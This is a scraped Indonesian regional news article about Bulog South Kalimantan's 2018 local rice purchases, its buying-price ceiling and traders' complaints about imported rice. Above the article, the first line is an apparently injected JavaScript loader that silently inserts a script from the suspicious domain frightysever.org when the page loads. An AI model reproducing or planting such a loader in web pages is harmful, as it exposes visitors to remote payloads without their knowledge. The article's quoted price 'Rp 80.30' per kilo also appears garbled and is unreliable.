(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kepala Bulog Divre Kalsel Awaludin Iqbal mengakui, hingga September 2018 ini serapan beras dari petani lokal oleh Bulog di Banua baru mencapai 50 persen dari 22.000 Ton yang ditargetkan. Walau masih bersisa sebanyak 50 persen dari yang ditargetkan, Bulog Divre Kalsel masih optimis mampu menyerap beras petani lokal sesuai target di tiga bulan terakhir.
“Berkaca pada data beberapa tahun lalu, memang biasanya penyerapan beras petani lokal yang paling besar ada di tiga bulan sebelum tutup tahun. Karena itulah kita masih optimis penyerapan beras lokal masih bisa dikejar sesuai target,” katanya, Jumat (21/9).
Ada pun harga beras yang di Bulog dari para petani lokal maksimal diangka Rp 80.30 perkilonya. Angka ini menurutnya sudah cukup baik dalam membantu untuk ikut mensejahterakan para petani lokal yang ada di Banua.
“Kita siap membeli berapa pun beras lokal yang dijual petani kepada Bulog selama harganya tidak lebih pada Rp 80.30 perkilonya. Kalau lebih dari itu kami tentunya tidak bisa, mengingat masalah standar pembelian harga Bulog sudah diatur oleh pemerintah,” tambahnya.
Terkait kebijakan Pemerintah yang menyuplai beras impor untuk kebutuhan nasional, dirinya menegaskan tidak akan berpengaruh terhadap pengurangan penyerapan beras lokal oleh Bulog dari para petani.
“Itu beras impor hanya untuk cadangan saja jika memang diperlukan dan tidak ada hubungannya dengan berkurangnya target beras petani yang diserap Bulog. Jadi para petani saya harapkan untuk tidak khawatir,” tegasnya.
Sebelumnya, dari pantauan di salah satu pusat perdagangan beras lokal di Pasar Muara Kelayan Banjarmasin, harga beras lokal diklaim mengalami penurunan mulai dari Rp 5.000 – 10.000 per 21 liter atau perbleknya dua pekan terakhir.
Penurunan harga sendiri menurut salah satu pedagang beras lokal di Pasar Muara Kelayan H Bani, dikarenakan pasarnya yang lumayan lesu dan juga lebih disebabkan mulai disetoknya beras impor ke Kalsel. “Akibat sudah mulai masuknya beras impor ke pasar Kalsel, petani tidak banyak lagi mampu menjual berasnya kepasaran, ujungnya harga pun mengalami penurunan,” tukasnya.(arief)
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.